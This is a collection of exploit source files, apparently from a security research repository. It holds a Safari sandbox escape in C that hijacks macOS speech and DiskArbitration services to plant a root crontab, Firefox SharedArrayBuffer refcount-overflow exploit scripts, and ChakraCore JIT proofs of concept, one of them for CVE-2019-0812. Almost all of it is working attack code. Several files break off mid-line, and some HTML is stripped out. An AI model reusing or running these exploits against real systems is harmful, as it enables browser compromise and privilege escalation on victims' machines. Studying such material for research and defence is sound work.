 15 | #include 
 16 | #include 
 17 | #include 
 18 | 
 19 | #include 
 20 | #include 
 21 | #include 
 22 | #include 
 23 | #include 
 24 | #include 
 25 | #include 
 26 | #include 
 27 | #include 
 28 | #include 
 29 | 
 30 | #include 
 31 | #include 
 32 | #include 
 33 | #include 
 34 | 
 35 | #include "ssd1.dylib.gen.h"
 36 | #include "ssd2.dylib.gen.h"
 37 | #include "bundle/Info.plist.gen.h"
 38 | #include "bundle/version.plist.gen.h"
 39 | 
 40 | char workdir[1024];
 41 | 
 42 | #define SYNTH "Pwn.SpeechSynthesizer"
 43 | #define DISK "/dev/disk0s1"
 44 | 
 45 | #include "common.h"
 46 | #include "proc.h"
 47 | #include "DAServer.h"
 48 | 
 49 | pid_t token_pid;
 50 | AuthorizationRef auth;
 51 | AuthorizationExternalForm token;
 52 | 
 53 | void patch_payload(char* payload, size_t payload_size) {
 54 |   const char* pattern = "pwnedbysaeloandniklasb";
 55 |   char* end = payload + payload_size - strlen(pattern), *p = payload;
 56 |   while (p != end) {
 57 |     if (!strcmp(p, pattern)) {
 58 |       log("Patching payload at offset %d\n", p - payload);
 59 |       strcpy(p, workdir);
 60 |       p += strlen(pattern);
 61 |     }
 62 |     ++p;
 63 |   }
 64 | }
 65 | 
 66 | void create_bundle(unsigned char* payload, size_t payload_size) {
 67 |   patch_payload((char*)payload, payload_size);
 68 |   mkdir(SYNTH, 0777);
 69 |   mkdir(SYNTH "/Contents", 0777);
 70 |   mkdir(SYNTH "/Contents/MacOS", 0777);
 71 |   write_file(SYNTH "/Contents/Info.plist", bundle_Info_plist, bundle_Info_plist_len);
 72 |   write_file(SYNTH "/Contents/version.plist", bundle_version_plist, bundle_version_plist_len);
 73 |   write_file(SYNTH "/Contents/MacOS/MacinTalk", payload, payload_size);
 74 | }
 75 | 
 76 | void pwn_ssd(bool sync) {
 77 |   xpc_connection_t conn = xpc_connection_create_mach_service(
 78 |         "com.apple.speech.speechsynthesisd", 0, 0);
 79 |   assert(conn);
 80 |   xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
 81 |   });
 82 |   xpc_connection_resume(conn);
 83 |   log("  Connected to ssd\n");
 84 | 
 85 |   xpc_object_t message = xpc_dictionary_create(0, 0, 0);
 86 |   xpc_dictionary_set_int64(message, "msg", 110);
 87 |   char path[1024]={0};
 88 |   strcpy(path, workdir);
 89 |   strcat(path, "/");
 90 |   strcat(path, SYNTH);
 91 |   xpc_dictionary_set_string(message, "path", path);
 92 | 
 93 |   if (sync) {
 94 |     xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, message);
 95 |   } else {
 96 |     dispatch_queue_t q = dispatch_get_main_queue();
 97 |     xpc_connection_send_message_with_reply(conn, message, q, ^(xpc_object_t evt) {
 98 |     });
 99 |   }
100 | }
101 | 
102 | xpc_connection_t connect_to_cookied() {
103 |   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cookied", 0, 0);
104 |   assert(conn);
105 |   xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
106 |   });
107 |   xpc_connection_resume(conn);
108 |   //log("  Connected to cookied.\n");
109 | 
110 |   const char *session = "foobar";
111 |   xpc_object_t message = xpc_dictionary_create(0, 0, 0);
112 |   xpc_dictionary_set_int64(message, "kCFNCookieServerMessageTypeKey", 1);
113 |   xpc_dictionary_set_bool(message, "kCFNCookieServerPersistentKey", 1);
114 |   xpc_dictionary_set_string(message, "kCFNCookieServerIdentifierKey", session);
115 |   xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, message);
116 |   assert(reply);
117 |   assert(xpc_dictionary_get_bool(reply, "kCFNCookieServerSuccessKey"));
118 | 
119 |   return conn;
120 | }
121 | 
122 | void crash_cookied() {
123 |   xpc_connection_t conn = connect_to_cookied();
124 |   log("  Connected to cookied. Trying to crash it...\n");
125 | 
126 |   // TODO instead of waiting for response, just wait for process to get started
127 |   xpc_object_t message = xpc_dictionary_create(0, 0, 0);
128 |   xpc_dictionary_set_int64(message, "kCFNCookieServerMessageTypeKey", 4);
129 |   xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, message);
130 |   assert(reply);
131 | }
132 | 
133 | void respawn_cookied() {
134 |   crash_cookied();
135 |   connect_to_cookied();
136 | }
137 | 
138 | struct DASession {
139 |   mach_port_t server_port, session_port;
140 | } dasess;
141 | 
142 | void da_connect() {
143 |   kern_return_t kr;
144 |   kr = bootstrap_look_up(bootstrap_port,
145 |         "com.apple.DiskArbitration.diskarbitrationd", &dasess.server_port);
146 |   if (kr != KERN_SUCCESS) log("MIG error: %s\n", bootstrap_strerror(kr));
147 |   assert(kr == KERN_SUCCESS);
148 | 
149 |   kr = _DAServerSessionCreate(dasess.server_port, "foo", 0, &dasess.session_port);
150 |   if (kr != KERN_SUCCESS) log("MIG error: %s\n", bootstrap_strerror(kr));
151 |   assert(kr == KERN_SUCCESS);
152 | }
153 | 
154 | void da_auth() {
155 |   kern_return_t kr;
156 |   kr = _DAServerSessionSetAuthorization(dasess.session_port, token);
157 |   if (kr != KERN_SUCCESS) log("MIG error: %s\n", bootstrap_strerror(kr));
158 |   assert(kr == KERN_SUCCESS);
159 | }
160 | 
161 | extern CFIndex __CFBinaryPlistWriteToStream( CFPropertyListRef plist, CFTypeRef stream );
162 | CFDataRef da_serialize(CFTypeRef obj) {
163 |   CFDataRef data = CFDataCreateMutable(0, 0);
164 |   assert(data);
165 |   assert(__CFBinaryPlistWriteToStream(obj, data));
166 |   return data;
167 | }
168 | 
169 | bool da_mount(const char* disk, const char* mount_point) {
170 |   kern_return_t kr;
171 | 
172 |   CFStringRef mp = CFStringCreateWithCString(0, mount_point, 0x8000100);
173 |   assert(mp);
174 |   CFDataRef mp_ser = da_serialize(mp);
175 |   assert(mp_ser);
176 | 
177 |   kr = _DAServerSessionQueueRequest(
178 |           dasess.session_port,
179 |           7, // kind = _kDADiskMount
180 |           // arg0
181 |           (char*)disk,
182 |           // arg1
183 |           0,
184 |           // arg2
185 |           (vm_address_t)CFDataGetBytePtr(mp_ser), CFDataGetLength(mp_ser),
186 |           // arg3
187 |           0, 0,
188 |           // address, context
189 |           0, 0
190 |         );
191 | 
192 |   if (kr != KERN_SUCCESS)
193 |     log("MIG error: %d %s\n", kr, bootstrap_strerror(kr));
194 |   return kr == KERN_SUCCESS;
195 | }
196 | 
197 | bool da_umount(const char* disk) {
198 |   kern_return_t kr;
199 | 
200 |   kr = _DAServerSessionQueueRequest(
201 |           dasess.session_port,
202 |           13, // kind = _kDADiskUnmount
203 |           // arg0
204 |           (char*)disk,
205 |           // arg1
206 |           0,
207 |           // arg2
208 |           0, 0,
209 |           // arg3
210 |           0, 0,
211 |           // address, context
212 |           0, 0
213 |         );
214 | 
215 |   if (kr != KERN_SUCCESS)
216 |     log("MIG error: %d %s\n", kr, bootstrap_strerror(kr));
217 |   return kr == KERN_SUCCESS;
218 | }
219 | 
220 | const char* get_mount_point(const char* disk) {
221 |   struct statfs *mntbuf;
222 |   int cnt = getmntinfo(&mntbuf, 0);
223 |   for (int i = 0; i < cnt; ++i)
224 |     if (!strcmp(mntbuf[i].f_mntfromname, disk))
225 |       return mntbuf[i].f_mntonname;
226 |   return 0;
227 | }
228 | 
229 | void setup_mount_race() {
230 |   mkdir("mnt", 0777);
231 | }
232 | 
233 | int cmp_procs_by_pid(const void* av, const void* bv) {
234 |   const struct kinfo_proc* a = av;
235 |   const struct kinfo_proc* b = bv;
236 |   pid_t ap = a->kp_proc.p_pid;
237 |   pid_t bp = b->kp_proc.p_pid;
238 |   if (ap < bp) return -1;
239 |   if (ap == bp) return 0;
240 |   return 1;
241 | }
242 | 
243 | void print_process_list() {
244 |   get_process_list();
245 |   qsort(proc_list.procList, proc_list.procCount, sizeof *proc_list.procList, cmp_procs_by_pid);
246 |   for (size_t i = 0; i < proc_list.procCount; ++i) {
247 |     struct kinfo_proc* proc = proc_list.procList + i;
248 |     pid_t pid = proc->kp_proc.p_pid;
249 |     log("    Proc %d: uid=%d cmd=%s\n",
250 |         pid, proc->kp_eproc.e_ucred.cr_uid,
251 |         proc->kp_proc.p_comm);
252 |   }
253 | }
254 | 
255 | bool is_cookied(struct kinfo_proc* proc) {
256 |   return !strcmp("nsurlstoraged", proc->kp_proc.p_comm)
257 |       && proc->kp_eproc.e_ucred.cr_uid == 501;
258 | }
259 | 
260 | bool respawn_cookied_into(pid_t target) {
261 |   for(int iter = 0; iter < 15; ++iter) {
262 |     log("Iteration %d\n", iter);
263 |     respawn_cookied();
264 |     get_process_list();
265 |     // TODO debugging loop, maybe remove
266 |     qsort(proc_list.procList, proc_list.procCount, sizeof *proc_list.procList, cmp_procs_by_pid);
267 |     for (size_t i = 0; i < proc_list.procCount; ++i) {
268 |       struct kinfo_proc* proc = proc_list.procList + i;
269 |       pid_t pid = proc->kp_proc.p_pid;
270 |       if (abs(pid - target) < 10 || is_cookied(proc))
271 |         log("    Proc %d: uid=%d cmd=%s\n",
272 |             pid, proc->kp_eproc.e_ucred.cr_uid,
273 |             proc->kp_proc.p_comm);
274 |     }
275 |     for (size_t i = 0; i < proc_list.procCount; ++i) {
276 |       struct kinfo_proc* proc = proc_list.procList + i;
277 |       pid_t pid = proc->kp_proc.p_pid;
278 |       if (pid == target) {
279 |         if (is_cookied(proc)) {
280 |           log("  Successfully spawned nsurlstoraged with PID %d\n", target);
281 |           return true;
282 |         } else {
283 |           log("  Got invalid process %s at %d\n", proc->kp_proc.p_comm, target);
284 |           return false;
285 |         }
286 |       }
287 |       if (is_cookied(proc) && pid > target) {
288 |         log("  Skipped past target pid %d\n", target);
289 |         return false;
290 |       }
291 |     }
292 |   }
293 |   log("  Never saw PID %d begin reused\n", target);
294 |   return false;
295 | }
296 | 
297 | void delete_recursive(const char* path) {
298 |   DIR* d = opendir(path);
299 |   struct dirent* entry;
300 | 
301 |   if (!strcmp(path + strlen(path) - 3, "mnt")) {
302 |     log("  Refusing to delete %s recursively\n", path);
303 |     return;
304 |   }
305 |   log("  Cleaning up %s\n", path);
306 |   while ((entry = readdir(d))) {
307 |     if (!strcmp(entry->d_name, ".")||!strcmp(entry->d_name, "..")) continue;
308 |     //log("    %s %d\n", entry->d_name, (int)entry->d_type);
309 | 
310 |     char entry_path[1024];
311 |     strcpy(entry_path, path);
312 |     strcat(entry_path, "/");
313 |     strcat(entry_path, entry->d_name);
314 |     if (entry->d_type == 4) {
315 |       delete_recursive(entry_path);
316 |       if (rmdir(entry_path)) {
317 |         log("    Could not rmdir %s\n", entry_path);
318 |       }
319 |     } else {
320 |       if (unlink(entry_path)) {
321 |         log("    Could not unlink %s\n", entry_path);
322 |       }
323 |     }
324 |   }
325 | }
326 | 
327 | void unmap_large_safari_heap_pages() {
328 |   // code adapted from http://www.newosxbook.com/src.jl?tree=listings&file=12-1-vmmap.c
329 |   kern_return_t kret;
330 |   mach_vm_address_t prev_address;
331 |   vm_region_basic_info_data_t info;
332 |   mach_vm_size_t size, prev_size;
333 | 
334 |   mach_port_t object_name;
335 |   mach_msg_type_number_t count;
336 | 
337 |   //log("Memory map\n=============\n");
338 |   for (mach_vm_address_t address = 1;; address += size) {
339 |     /* Check to see if address space has wrapped around. */
340 |     if (address == 0) break;
341 | 
342 |     // Even on iOS, we use VM_REGION_BASIC_INFO_COUNT_64. This works.
343 |     count = VM_REGION_BASIC_INFO_COUNT_64;
344 |     kret = mach_vm_region(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO,
345 |                           (vm_region_info_t) &info, &count, &object_name);
346 |     if (kret != KERN_SUCCESS) {
347 |       assert(kret == KERN_INVALID_ADDRESS);
348 |       break;
349 |     }
350 | 
351 |     // TODO remove debug output
352 |     unsigned long long print_size = size;
353 |     char *print_size_unit;
354 |     if (print_size > 1024) { print_size /= 1024; print_size_unit = "K"; }
355 |     if (print_size > 1024) { print_size /= 1024; print_size_unit = "M"; }
356 |     if (print_size > 1024) { print_size /= 1024; print_size_unit = "G"; }
357 |     /*
358 |     log("  %016llx-%016llx [%lld%s]\n",
359 |         address,
360 |         (address + size),
361 |         print_size,
362 |         print_size_unit);
363 |         */
364 | 
365 |     unsigned long long addr = address;
366 |     if ((addr >> 32) >= 0x02 && (addr >> 32) <= 0x20) {
367 |       assert(!munmap(address, size));
368 |     }
369 |   }
370 |   //log("=============\n");
371 | }
372 | 
373 | void sigsegv_handler(int sig, siginfo_t *si, void *unused) {
374 |   sleep(1000);
375 | }
376 | 
377 | void register_sigsegv_handler() {
378 |   struct sigaction sa;
379 |   sa.sa_flags = SA_SIGINFO;
380 |   sigemptyset(&sa.sa_mask);
381 |   sa.sa_sigaction = sigsegv_handler;
382 |   if (sigaction(SIGSEGV, &sa, NULL) == -1)
383 |     if (debug_mode)
384 |       abort(); // TODO if (debug_mode)
385 |   if (sigaction(SIGBUS, &sa, NULL) == -1)
386 |     if (debug_mode)
387 |       abort(); // TODO if (debug_mode)
388 |   if (sigaction(SIGILL, &sa, NULL) == -1)
389 |     if (debug_mode)
390 |       abort(); // TODO if (debug_mode)
391 |   if (sigaction(SIGTRAP, &sa, NULL) == -1)
392 |     if (debug_mode)
393 |       abort(); // TODO if (debug_mode)
394 | }
395 | 
396 | __attribute__((constructor))
397 | void _injection() {
398 |   register_sigsegv_handler();
399 | 
400 |   confstr(_CS_DARWIN_USER_CACHE_DIR, workdir, sizeof workdir);
401 |   mkdir(workdir, 0777);
402 |   if (workdir[strlen(workdir)-1] != '/')
403 |     strcat(workdir, "/");
404 |   strcat(workdir, "com.apple.speech.speechsynthesisd/");
405 |   mkdir(workdir, 0777);
406 |   chdir(workdir);
407 | 
408 |   init("webcontent");
409 | 
410 |   char buf[1024];
411 |   log("Workdir is %s\n", getcwd(buf, sizeof buf));
412 | 
413 |   log("Cleaning up memory\n");
414 |   unmap_large_safari_heap_pages();
415 | 
416 |   assert(!get_mount_point(DISK));
417 | 
418 |   for (int iter = 0; ; ++iter) {
419 |     log("Iteration %d of PID wraparound\n", iter);
420 |     log("==============================\n");
421 |     log("Cleaning up working dir\n");
422 |     delete_recursive(".");
423 | 
424 |     create_bundle(ssd1_dylib, ssd1_dylib_len);
425 |     log("Created bundle (1)\n");
426 | 
427 |     // TODO reset ssd so the following always works
428 |     pwn_ssd(0);
429 |     log("Pwned ssd (1)\n");
430 | 
431 |     // TODO remove debugging
432 |     while(!pid_for_proc("com.apple.s")) msleep(100);
433 |     log("PID for ssd1 = %d\n", pid_for_proc("com.apple.s"));
434 | 
435 |     log("Waiting for ssd1 results...\n");
436 |     int f1 = wait_for_file("token_pid");
437 |     int f2 = wait_for_file("token");
438 | 
439 |     readall(f1, (char*)&token_pid, sizeof token_pid, true);
440 |     readall(f2, token.bytes, kAuthorizationExternalFormLength, true);
441 | 
442 |     log("Token PID = %d\n", token_pid);
443 | 
444 |     // Import token
445 |     assert(!AuthorizationCreateFromExternalForm(&token, &auth));
446 |     log("Token imported successfully\n");
447 |     write_marker("token_imported");
448 | 
449 |     log("Waiting for ssd1 to die\n");
450 |     wait_for_file("ssd1_done");
451 |     sleep(1);
452 |     log("Yes, it's dead.\n");
453 | 
454 |     create_bundle(ssd2_dylib, ssd2_dylib_len);
455 |     log("Created bundle (2)\n");
456 |     pwn_ssd(0);
457 |     log("Pwned ssd (2)\n");
458 | 
459 |     // TODO remove debugging
460 |     while(!pid_for_proc("com.apple.s")) msleep(100);
461 |     log("PID for ssd2 = %d\n", pid_for_proc("com.apple.s"));
462 | 
463 | 
464 |     log("Waiting for ssd2 to wrap around PIDs\n");
465 |     wait_for_file("hole_done");
466 |     log("Respawning cookied\n");
467 |     if (respawn_cookied_into(token_pid))
468 |       break;
469 |     log("Didn't work. Trying again\n");
470 |     write_file("ssd2_next_step", (const unsigned char*)"exit", 5);
471 |     wait_for_file("ssd2_next_step_ack");
472 |   }
473 |   log("Got it.\n");
474 | 
475 |   log("Connecting to DA\n");
476 |   da_connect();
477 |   log("Authenticating with DA\n");
478 |   da_auth();
479 | 
480 |   setup_mount_race();
481 | 
482 |   // TODO maybe sleep less than one second below?
483 |   //
484 |   // umount first in case this is not the first iteration of the exploit
485 |   if (get_mount_point(DISK)) {
486 |     log("The disk is already mounted, trying umount\n");
487 |     da_umount(DISK);
488 |     msleep(1000);
489 |     while (get_mount_point(DISK)) {
490 |       log("    Retrying umount\n");
491 |       da_umount(DISK);
492 |       msleep(1000);
493 |     }
494 |   }
495 | 
496 |   // TODO make sure ssd2 is killed regardless of whether the exploit is
497 |   // successful or not. Can we somehow crash it easily?
498 | 
499 |   log("Performing initial mount\n");
500 |   char mnt_point[1024];
501 |   strcpy(mnt_point, workdir);
502 |   strcat(mnt_point, "/mnt");
503 | 
504 |   da_mount(DISK, mnt_point);
505 |   msleep(1000);
506 |   while (!get_mount_point(DISK)) {
507 |     log("    Retrying mount\n");
508 |     da_mount(DISK, mnt_point);
509 |     msleep(1000);
510 |   }
511 | 
512 |   log("Writing crontab.\n");
513 |   write_file("mnt/root", cronrule, strlen(cronrule));
514 |   log("Unmounting\n");
515 |   log("%s\n", get_mount_point(DISK));
516 | 
517 |   da_umount(DISK);
518 |   msleep(1000);
519 |   while (get_mount_point(DISK)) {
520 |     log("    Retrying umount\n");
521 |     da_umount(DISK);
522 |     msleep(1000);
523 |   }
524 | 
525 |   write_file("ssd2_next_step", (const unsigned char*)"race", 5);
526 |   wait_for_file("ssd2_next_step_ack");
527 |   log("Wrote marker to start race\n");
528 | 
529 |   int i = 0;
530 |   log("Starting race\n");
531 | 
532 |   strcpy(mnt_point, workdir);
533 |   strcat(mnt_point, "/pwn/tabs");
534 |   for (;;) {
535 |     log("  Round %d\n", i++);
536 | 
537 |     da_mount(DISK, mnt_point);
538 |     msleep(1000);
539 |     const char* mnt;
540 |     while (!(mnt = get_mount_point(DISK))) {
541 |       log("    Retrying mount\n");
542 |       da_mount(DISK, mnt_point);
543 |       msleep(1000);
544 |     }
545 | 
546 |     log("    Mount point: %s\n", mnt);
547 |     if (!strncmp(mnt, "/private/var/at", strlen("/private/var/at")))
548 |       break;
549 | 
550 |     log("  Unmounting...\n");
551 |     da_umount(DISK);
552 |     msleep(1000);
553 |     while (get_mount_point(DISK)) {
554 |       log("    Retrying umount\n");
555 |       da_umount(DISK);
556 |       msleep(1000);
557 |     }
558 |   }
559 |   log("Success! %s is mounted at %s.\n", DISK, get_mount_point(DISK));
560 |   log("now wait a minute... I'm out. You can press Ctrl+C\n");
561 |   write_marker("stop_mount_race");
562 |   sleep(10000);
563 | 
564 |   // TODO WebContent will crash hereafter. Why?
565 | }
566 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/workdir.h:
--------------------------------------------------------------------------------
 1 | char workdir[] =
 2 |   "pwnedbysaeloandniklasb"
 3 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
 4 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
 5 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
 6 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
 7 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
 8 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
 9 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
10 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
11 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
12 |   "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
13 | 


--------------------------------------------------------------------------------
/exploits/share-with-care/exploit.js:
--------------------------------------------------------------------------------
  1 | // https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak 
  2 | function do_gc() {
  3 |     const MB = 0x100000;
  4 |     const maxMallocBytes = 128 * MB;
  5 |     var hoho = []
  6 |     for (var i = 0; i < 3; i++) {
  7 |         hoho.push(new ArrayBuffer(maxMallocBytes));
  8 |     }
  9 | }
 10 | 
 11 | 
 12 | var SAB_SIZE = 0x1000000;
 13 | var sab = new SharedArrayBuffer(SAB_SIZE);
 14 | var sab_view = new Uint32Array(sab);
 15 | var copies = [sab];
 16 | 
 17 | 
 18 | // we are not in the shell 
 19 | if (typeof window !== 'undefined') {
 20 |     // number of worker threads
 21 |     var num_workers = 4;
 22 |     var workers = [];
 23 | 
 24 |     // holds status of worker threads
 25 |     var done = [];
 26 | 
 27 |     // number of copies of the SAB
 28 |     var num_copies = 0x10000;
 29 | 
 30 |     // total number of refcount increments needed to trigger overflow
 31 |     var total = 2**32;
 32 | 
 33 |     // amount of increments per thread
 34 |     var num_per_thread = total / (num_workers * num_copies);
 35 | 
 36 |     window.onmessage = function(e) {
 37 | 
 38 |         if (e.data[0]) { // postMessage data is a copy and should processed
 39 |             copies = copies.concat(e.data[1]);
 40 | 
 41 |             // if all copies have been generated, advance to next step
 42 |             if (copies.length == num_copies) {
 43 |                 console.log("Generated all copies:" + copies.length);
 44 | 
 45 |                 // create `num_workers` workers
 46 |                 for (var i = 0; i < num_workers; i++) {
 47 |                     done[i] = false
 48 |                     workers[i] = new Worker('worker.js');
 49 | 
 50 |                     workers[i].onmessage = function(e) {
 51 |                         // message received from worker --> check if all workers are finished procesing
 52 |                         done[e.data] = true;
 53 |                         var justdoit = true;
 54 |                         for (var j = 0; j < num_workers; j++) {
 55 |                             if (!done[j]) {
 56 |                                 justdoit = false;
 57 |                                 break;
 58 |                             }
 59 |                         }
 60 | 
 61 |                         if (justdoit) {
 62 |                             // All workers have finished
 63 |                             log("[+] doing it now");
 64 | 
 65 |                             // one more SAB to get refcount=0x1
 66 |                             try {
 67 |                                 window.postMessage([false, sab, function() {}], "*"); 
 68 |                             } catch(e) {}
 69 | 
 70 | 
 71 |                             // free one worker
 72 |                             delete copies[1];
 73 | 
 74 |                             // trigger majorGC
 75 |                             do_gc(); 
 76 | 
 77 |                             // pwn it now
 78 |                             pwn();
 79 |                         }
 80 |                     };
 81 | 
 82 |                     log("[+] Worker " + i + " initialized");
 83 | 
 84 |                     // send work to worker
 85 |                     workers[i].postMessage([i, copies, num_per_thread - 1]);
 86 |                 }
 87 |             } else {
 88 |                 // create copies
 89 |                 window.postMessage([true, copies], "*");
 90 |             }
 91 |         } else {
 92 |             // ignore postMessage data
 93 |         }
 94 |     };
 95 | 
 96 |     // start the refcount overflow
 97 |     window.postMessage([true, [sab]], "*");
 98 | 
 99 | 
100 | } 
101 | 
102 | 
103 | 
104 | function foo() {
105 |     setTimeout("foo()", 1000);
106 | }
107 | foo();
108 | 
109 | 
110 | function pwn() {
111 |     var ALLOCS = 0x100000;
112 |     log("Pwning now...\n");
113 | 
114 | 
115 |     buffers = [];
116 |     for (i =0; i
 2 | 
 3 |     
 4 |         
 5 |         
 6 |     
 7 |     
 8 |         Please wait for pwn...
 9 |     
10 | 
11 | 


--------------------------------------------------------------------------------
/exploits/share-with-care/utils.js:
--------------------------------------------------------------------------------
  1 | function hex(b) {
  2 |     return ('0' + b.toString(16)).substr(-2);
  3 | }
  4 | 
  5 | function hexlify(bytes) {
  6 |     var res = [];
  7 |     for (var i = 0; i < bytes.length; i++)
  8 |         res.push(hex(bytes[i]));
  9 | 
 10 |     return res.join('');
 11 | }
 12 | 
 13 | function unhexlify(hexstr) {
 14 |     if (hexstr.length % 2 == 1)
 15 |         throw new TypeError("Invalid hex string");
 16 | 
 17 |     var bytes = new Uint8Array(hexstr.length / 2);
 18 |     for (var i = 0; i < hexstr.length; i += 2)
 19 |         bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
 20 | 
 21 |     return bytes;
 22 | }
 23 | 
 24 | function Int64(v) {
 25 |     var bytes = new Uint8Array(8);
 26 | 
 27 |     switch (typeof v) {
 28 |         case 'number':
 29 |             v = '0x' + Math.floor(v).toString(16);
 30 |         case 'string':
 31 |             if (v.startsWith('0x'))
 32 |                 v = v.substr(2);
 33 |             if (v.length % 2 == 1)
 34 |                 v = '0' + v;
 35 | 
 36 |             var bigEndian = unhexlify(v, 8);
 37 |             bytes.set(Array.from(bigEndian).reverse());
 38 |             break;
 39 |         case 'object':
 40 |             if (v instanceof Int64) {
 41 |                 bytes.set(v.bytes());
 42 |             } else {
 43 |                 if (v.length != 8)
 44 |                     throw TypeError("Array must have excactly 8 elements.");
 45 |                 bytes.set(v);
 46 |             }
 47 |             break;
 48 |         case 'undefined':
 49 |             break;
 50 |         default:
 51 |             throw TypeError("Int64 constructor requires an argument.");
 52 |     }
 53 | 
 54 |     this.toString = function() {
 55 |         return '0x' + hexlify(Array.from(bytes).reverse());
 56 |     };
 57 | 
 58 | 
 59 |     this.bytes = function() {
 60 |         return Array.from(bytes);
 61 |     };
 62 | 
 63 |     this.byteAt = function(i) {
 64 |         return bytes[i];
 65 |     };
 66 | 
 67 |     this.lower = function() {
 68 |         return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3];
 69 |     };
 70 | 
 71 |     this.upper = function() {
 72 |         return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7];
 73 |     };
 74 | 
 75 |     this.toInt = function() {
 76 |         return this.upper() * 2**32 + this.lower();
 77 |     }
 78 | 
 79 |     this.rshift = function() {
 80 |         var lowBit = 0;
 81 |         for (var i = 7; i >= 0; i--) {
 82 |             var cur = bytes[i];
 83 |             bytes[i] = (cur >> 1) | lowBit;
 84 |             lowBit = (cur & 0x1) << 7;
 85 |         }
 86 |     }
 87 | 
 88 |     this.lshift = function() {
 89 |         var highBit = 0;
 90 |         for (var i = 0; i < 8; i++) {
 91 |             var cur = bytes[i];
 92 |             bytes[i] = (cur << 1) | highBit;
 93 |             highBit = (cur & 0x80) >> 7;
 94 |         }
 95 |     }
 96 | 
 97 | }
 98 | 
 99 | 
100 | function log(x, doc = false) {
101 |     if (typeof document !== "undefined" && doc) {
102 |         document.write(x + " ");
103 |     }
104 |     console.log(x);
105 | }
106 | 


--------------------------------------------------------------------------------
/exploits/share-with-care/worker.js:
--------------------------------------------------------------------------------
 1 | var sabs;
 2 | var done = 0;
 3 | onmessage = function(e) {
 4 |     var id = e.data[0];
 5 |     sabs = e.data[1];
 6 |     var how_many = e.data[2];
 7 | 
 8 |     if (id == 0) 
 9 |         how_many--;     // adjust for copies in main thread
10 | 
11 |     for (var i = 0; i < how_many; i++) {
12 |         try {
13 |             if (i % 100 == 0) {
14 |                 console.log("[" + id + "] "  + (i+1) + " / " + how_many);
15 |             }
16 |             postMessage([sabs, function(){}]);
17 |         } catch (e) {}
18 |     }
19 |     postMessage(id);
20 | }
21 | 
22 | // loop infinitely, otherwise `sabs` gets freed for some strange reason...
23 | function foo() {
24 |     setTimeout(foo, 10000);
25 | }
26 | foo();
27 | 
28 | 


--------------------------------------------------------------------------------
/exploits/spread-overflow/spread-overflow.html:
--------------------------------------------------------------------------------
  1 | 
2 | 203 | -------------------------------------------------------------------------------- /exploits/spread-overflow/spread-worker.js: -------------------------------------------------------------------------------- 1 | var a = new Array(0x4000000); 2 | for (var i = 0; i < 0x4000000; ++i) { 3 | // struct.unpack(' 0 && u32[1] < 0x1000) { 36 | return true; 37 | } 38 | return false 39 | } 40 | 41 | function opt(o, j) { 42 | var a = new Float64Array(0x111112); 43 | o = a; 44 | o[0] = 1337; 45 | var b = a.slice(0,20); 46 | b[92] = 13; 47 | for (var i = 0; i < a.length; ++i) { 48 | b = a; 49 | b[1] = 0x4141; 50 | } 51 | // Chakra failed to insert value compensation which cause the headSegmentsym to be reloaded 52 | // but not the headSegmentLength sym, we therefore accessed the new buffer with the wrong length checked 53 | return b[j]; 54 | } 55 | 56 | function pwn() { 57 | for (var i = 0; i < 300; i++) { 58 | opt(24, 0x10); 59 | } 60 | 61 | for (var i = 0x10; i < 0x1000; ++i) { 62 | let res = opt(24, i); 63 | if (res != 0 && valid_pointer(res)) { 64 | val = f2i(res); 65 | print("Leaked at " + i + ": " + hex(val)); 66 | } 67 | } 68 | opt(24, 0x111111); // OOB 69 | } 70 | pwn(); 71 | -------------------------------------------------------------------------------- /pocs/cve-2019-0812-chakra.js: -------------------------------------------------------------------------------- 1 | var convert = new ArrayBuffer(0x100); 2 | var u32 = new Uint32Array(convert); 3 | var f64 = new Float64Array(convert); 4 | var BASE = 0x100000000; 5 | 6 | function hex(x) { 7 | return `0x${x.toString(16)}` 8 | } 9 | 10 | function i2f(x) { 11 | u32[0] = x % BASE; 12 | u32[1] = (x - (x % BASE)) / BASE; 13 | return f64[0]; 14 | } 15 | 16 | function f2i(x) { 17 | f64[0] = x; 18 | return u32[0] + BASE * u32[1]; 19 | } 20 | 21 | // The bug lets us update the CacheInfo for a wrong type so we can create a faulty inline cache. 22 | // We use that to confuse the JIT into thinking that the ValueInfo for tmp.x is either 1 or 2 23 | // when in reality our bug will let us write to tmp.x through tmp.y. 24 | // We can use that to forge a missing value array with the HasNoMissingValues flag 25 | function opt(index) { 26 | var tmp = new String("aa"); 27 | tmp.x = 2; 28 | once = 1; 29 | for (let useless in tmp) { 30 | if (once) { 31 | delete tmp.x; 32 | once = 0; 33 | } 34 | tmp.y = index; 35 | tmp.x = 1; 36 | } 37 | return [1, tmp.x - 524286]; // forge missing value 0xfff80002 38 | } 